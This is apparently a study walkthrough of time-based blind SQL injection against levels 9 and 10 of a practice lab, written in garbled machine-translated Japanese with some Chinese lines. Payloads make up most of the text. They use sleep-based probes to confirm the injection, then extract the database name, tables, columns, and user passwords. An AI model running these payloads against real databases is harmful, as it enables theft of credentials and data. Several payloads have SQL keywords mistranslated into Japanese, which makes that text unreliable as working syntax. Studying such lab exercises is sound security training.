以下(9)
入力は、あなたが常にエコーどんなに......、時間のブラインドを考慮
まず、射出タイプが決定されます
(1)まず、パラメータIDを渡す要求を見て、デジタルタイプ;? ID = 1及びスリープ(5)の要件 - +
大幅な遅延なし
?+ - (2)ID = 1,1 = 2とスリープ(5)を入力します
有意な遅延は、組み合わせて(1)(2)ではなく、デジタル形式で、存在しません
?+ - (3)は、ID = 1「及び睡眠(5)を入力します
パラメータID = '1';
2.その後、我々はデータベースを報告しなければなりません
?(1)バーストデータベースの長さ:ID = 1「及びIF(長(データベース())= X、SLEEP(5)、1。) - +
Xは、データベースの長さを示すことは8であり、大幅な遅延と4から8に増加されます。
(2)現在のデータベース名注:あなたは、<、>、=比較、文字の判断を使用して、二分法を狭くするために続けることができます
連続比較して最初の文字= Sで描画することができます
?ID = 1' とする場合(左(データベース()、1)= 'S'、スリープ(5)、1) - +
そして、次の文字を順次データベースの姓が得られ、バーストバースト= [セキュリティ]
?(3)爆表:ID = 1' とIF(TABLE_SCHEMA =データベース()リミットX、1 INFORMATION_SCHEMA.TABLESから左((セレクトテーブル名)、5)= 'ユーザ'、スリープ(5)、1) - - +
リミットXの変更、1 Xで、我々は、ユーザーテーブルを検索します
(4)は、ユーザ名とパスワードを見つけるように指示しました
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit x,1),8)='password' ,sleep(5),1)--+
通过x的不断变化,最终在第4行找到了'password',在第9行找到了'username'
(4)爆值
?id=1' and if(left((select password from users order by id limit x,1),4)='dumb' , sleep(5), 1) --+
通过x的不断变化,找到一个用户名和密码都是‘dumb’
Less(10)
和Less(9)差不多,就是参数书id="1"